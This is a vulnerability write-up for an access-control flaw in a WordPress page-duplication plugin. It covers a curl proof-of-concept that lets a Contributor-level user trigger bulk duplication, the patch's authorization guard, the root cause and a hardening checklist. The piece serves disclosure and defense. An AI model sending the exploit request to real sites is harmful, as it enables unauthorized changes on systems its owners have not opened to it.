CVE-2025-14001 Exploit & Vulnerability Analysis

The Exploit

An authenticated attacker with Contributor-level access can invoke the plugin’s bulk duplicate action directly and clone arbitrary posts/pages.

curl -i -sS -X POST "https://TARGET/wp-admin/edit.php?post_type=page" \
  -H "Cookie: wordpress_logged_in=YOUR_SESSION_COOKIE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "action=wp_duplicate_page_bulk_action" \
  --data-urlencode "post[]=123" \
  --data-urlencode "_wpnonce=VALID_NONCE"

The request is accepted even when the attacker’s role is excluded from the plugin’s “Allowed User Roles” setting. The server responds with a WordPress redirect to the page list, and a new duplicated page appears in the admin UI.

What the Patch Did

Before:

public function duplicateBulkHandle( $redirect, $action, $postIds ) {
    if ( 'wp_duplicate_page_bulk_action' === $action ) {
        // Get the original post
        $counter = 0;
        if ( is_array( $postIds ) ) {
            ...

After:

public function duplicateBulkHandle( $redirect, $action, $postIds ) {
    if ( 'wp_duplicate_page_bulk_action' === $action ) {
        if ( ! Utils::isCurrentUserAllowedToCopy() ) {
            return $redirect;
        }
        // Get the original post
        $counter = 0;
        if ( is_array( $postIds ) ) {
            ...

The patch adds a server-side authorization guard using Utils::isCurrentUserAllowedToCopy(). That capability check prevents unauthorized users from reaching the bulk duplication logic. The same guard is also applied in the duplicateBulkHandleHPOS() handler for WooCommerce HPOS order duplication.

Root Cause

This was an improper access control bug (CWE-284). The plugin accepted the bulk-action parameters action=wp_duplicate_page_bulk_action and post[] from an authenticated request and passed them into duplicateBulkHandle() without validating the current user's permission to duplicate content. The request crossed the trust boundary between an authenticated Contributor and the plugin’s sensitive duplication operation, so a low-privilege account could duplicate arbitrary posts or orders.

Why It Works

The load-bearing line is the new guard:

if ( ! Utils::isCurrentUserAllowedToCopy() ) {
    return $redirect;
}

If that line is removed, the plugin still executes the duplicate logic for any matching action, so the bug remains exploitable. The existing surrounding code is just the normal bulk-action flow and redirect behavior; the added branch is the actual authorization check. The early return is the minimal fix that stops unauthorized execution before any copy operation happens.

Hardening Checklist

• Add explicit server-side permission checks in all action handlers, using current_user_can() or a helper like Utils::isCurrentUserAllowedToCopy().
• For admin POST endpoints, verify the request nonce with check_admin_referer() or wp_verify_nonce().
• Never assume UI restrictions are enough; enforce role-based access control in the backend logic that processes action and post[].
• When duplicating or modifying posts, validate each target with current_user_can( 'edit_post', $post_id ) or equivalent capability checks.
• Keep bulk-action handlers idempotent by returning early on unauthorized requests, rather than performing partial work.

References

• https://nvd.nist.gov/vuln/detail/CVE-2025-14001